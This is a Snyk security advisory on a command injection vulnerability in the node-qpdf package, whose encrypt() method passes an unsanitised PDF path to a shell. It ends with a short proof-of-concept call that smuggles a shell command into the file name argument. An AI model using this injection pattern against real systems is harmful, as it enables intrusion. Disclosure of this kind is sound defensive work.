Command Injection Affecting node-qpdf package, versions *


0.0
high

Snyk CVSS

    Attack Complexity Low

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.11% (43rd percentile)
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NVD
9.8 critical

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  • Snyk ID SNYK-JS-NODEQPDF-5747918
  • published 13 Oct 2023
  • disclosed 30 Jun 2023
  • credit Xiao Feng

How to fix?

There is no fixed version for node-qpdf.

Overview

node-qpdf is an A Content Preserving transformations on PDFs wrapped around QPDF

Affected versions of this package are vulnerable to Command Injection such that the package-exported method encrypt() fails to sanitize its parameter input, which later flows into a sensitive command execution API. As a result, attackers may inject malicious commands once they can specify the input pdf file path.

PoC

var qpdf = require('node-qpdf');

var options = {
    keyLength: 128,
    password: 'YOUR_PASSWORD_TO_ENCRYPT'
}

qpdf.encrypt('test.pdf ||touch rce||', options); // a file named rce will be created

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